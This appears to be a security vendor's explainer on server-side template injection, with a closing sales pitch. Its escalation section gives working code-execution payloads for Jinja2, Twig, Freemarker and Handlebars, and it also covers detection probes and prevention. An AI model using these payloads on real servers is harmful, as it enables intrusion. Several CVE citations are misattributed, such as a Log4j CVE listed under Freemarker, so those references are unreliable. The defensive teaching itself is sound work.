What Is Server-Side Template Injection?
Server-Side Template Injection (SSTI) is a web application vulnerability that occurs when user-supplied input is embedded directly into a server-side template and then evaluated by the template engine. Because template engines are designed to execute code — rendering variables, running conditionals, calling functions — injecting malicious template syntax into them gives an attacker the ability to execute arbitrary code on the server.
Unlike Cross-Site Scripting, where the malicious payload executes in the victim's browser, SSTI executes on your server. The consequences are accordingly more severe: full server-side code execution, access to internal files and environment variables, lateral movement through your infrastructure, and in many cases complete server takeover.
SSTI has been weaponised in real-world attacks against major platforms, including Uber (2016), HackerOne (2016 bug bounty), and multiple CVEs in popular template engines across Python, Ruby, PHP, Java, and JavaScript.
How Template Engines Work
Template engines allow developers to separate presentation from logic. Instead of building HTML by string concatenation in application code, you write templates with placeholders:
**Jinja2 (Python):** ``` Hello, {{ username }}! ```
**Twig (PHP):** ``` Hello, {{ username }}! ```
**Freemarker (Java):** ``` Hello, ${username}! ```
**Handlebars (JavaScript):** ``` Hello, {{username}}! ```
The template engine takes the template, substitutes values from the application's data context, and renders the result. This is safe when template input comes from trusted developer-written templates. It becomes a vulnerability when user-supplied strings are placed inside the template itself before rendering.
The Vulnerable Pattern
Consider a web application that personalises a greeting page:
```python # Vulnerable Python / Flask / Jinja2 example from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/hello') def hello(): name = request.args.get('name', 'World') template = f"<h1>Hello, {name}!</h1>" # user input interpolated BEFORE rendering return render_template_string(template) ```
The developer builds the template string by embedding `name` directly, then passes it to `render_template_string`. If an attacker sets `name` to a Jinja2 expression, it executes:
``` GET /hello?name={{7*7}}
Response: <h1>Hello, 49!</h1> ```
The expression `{{7*7}}` was evaluated by Jinja2. The attacker now knows SSTI is present. The fix is trivial:
```python # Safe: pass name as a template variable, not embedded in the template string return render_template('hello.html', name=name) ```
But the impact of the vulnerable version is far from trivial.
Escalating SSTI to Remote Code Execution
Jinja2 (Python)
Jinja2 templates have access to Python's object model through the template context. An attacker can walk the class hierarchy to reach the `subprocess` or `os` module:
``` {{''.__class__.__mro__[1].__subclasses__()}} ```
This retrieves all subclasses of `object`. The attacker identifies the index of a useful class — typically `subprocess.Popen` or a class that imports `os`:
``` {{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}} ```
Exact indices vary by Python version and installed packages, but the payload pattern is consistent. The result is execution of the `id` command on the server, confirming RCE. From here the attacker can read `/etc/passwd`, exfiltrate environment variables (containing API keys, database passwords, cloud credentials), or establish a reverse shell.
**Real CVE:** CVE-2016-4977 (Spring Security OAuth) allowed SSTI in Jinja2-equivalent Spring EL that led to RCE on Uber's systems. The researcher earned $10,000 in their bug bounty.
Twig (PHP)
``` {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} ```
Twig's `_self` object provides access to the environment. In older versions, `registerUndefinedFilterCallback` maps unknown filter names to arbitrary PHP functions, allowing an attacker to call `exec`, `system`, or `passthru` with the filter argument as the command.
**Real CVE:** CVE-2022-23614 in Twig versions before 3.4.3 allowed sandbox escape via `_self.env`.
Freemarker (Java)
``` <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} ```
Freemarker's `?new()` operator allows instantiation of arbitrary Java classes. `freemarker.template.utility.Execute` runs OS commands. This pattern has been used in real attacks against Jenkins, Confluence, and other Java-based platforms that embed Freemarker.
**Real CVE:** CVE-2019-17571 (Apache Log4j), CVE-2021-26295 (Apache OFBiz).
Handlebars (JavaScript / Node.js)
``` {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id').toString();"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} ```
This multi-step payload walks through Handlebars' helper context to reach JavaScript's `Function` constructor and execute `require('child_process').execSync('id')`. The convoluted path exists because Handlebars has partial sandbox protections that block direct property access.
**Real CVE:** CVE-2021-23369 and CVE-2021-23383 — both Handlebars prototype pollution enabling SSTI-equivalent sandbox escape.
Identifying SSTI: Detection Payloads
During a penetration test, every user input that appears reflected in the response is a candidate for SSTI. Test with arithmetic expressions in the target engine's syntax:
| Engine | Probe | Expected response | |---|---|---| | Jinja2 / Twig | `{{7*'7'}}` | `7777777` (Jinja2) or `49` (Twig) | | Freemarker | `${7*7}` | `49` | | Smarty | `{$smarty.version}` | Version string | | Pebble | `{{7*7}}` | `49` | | Handlebars | `{{7*7}}` | No output (handled differently) |
The expression `{{7*'7'}}` is particularly useful as a differentiator: Jinja2 repeats the string seven times (`7777777`) because Python supports string multiplication, while Twig evaluates it numerically (`49`). This distinction identifies the template engine without requiring blind exploitation.
SSTI vs XSS vs SQLi
| | SSTI | XSS | SQLi | |---|---|---|---| | Executes on | Server | Client browser | Database | | Impact | RCE, full server access | Session hijacking, data theft | Data exfiltration, authentication bypass | | Root cause | User input in template evaluation | User input in HTML output | User input in SQL query | | Fix | Separate template from data | Encode output | Parameterised queries |
Preventing SSTI
Never Embed User Input in Template Strings
The root cause is always the same: user-controlled strings are embedded in the template itself before rendering. The fix is always the same: pass user input as a data variable into the template, not as part of the template structure.
```python # WRONG — template contains user input template = f"Hello {user_input}!" render_template_string(template)
# RIGHT — user input is a data variable render_template('hello.html', name=user_input) ```
Use Sandboxed Template Environments
Most template engines offer a sandboxed rendering mode that restricts which objects and methods are accessible:
```python # Jinja2 sandboxed environment from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() env.from_string(user_template).render(data=safe_data) ```
Sandboxes aren't perfect — they've been bypassed before — but they significantly raise the exploitation bar and should be used when user-defined templates are a genuine product requirement.
Input Validation
If a feature genuinely requires user-defined templates (a configurable email template, say), whitelist the allowed template syntax rather than allowing arbitrary expressions. Reject any input containing `{{`, `{%`, `${`, `<#`, or other template delimiters before it reaches the template engine.
Static Code Analysis
SAST tools can identify `render_template_string`, string formatting into templates, and similar patterns in code review. Integrate them into your CI pipeline.
Testing for SSTI
Yrzo AI's continuous web application scanning tests all user-supplied input fields and URL parameters for SSTI indicators using the detection probes above, across multiple template engine syntaxes simultaneously. Because SSTI is high-severity — it's typically a direct path to RCE — findings are flagged immediately with reproduction steps and remediation guidance.
**[Test your web application for SSTI → Start free at yrzoai.dev](https://yrzoai.dev)**
A template engine that runs code is a loaded gun pointed at your server. User input should never pull the trigger.
Find out if your website has these vulnerabilities
Yrzo AI runs 44 automated security checks and delivers a full report in under 20 minutes. Starting from £399.
Scan your website →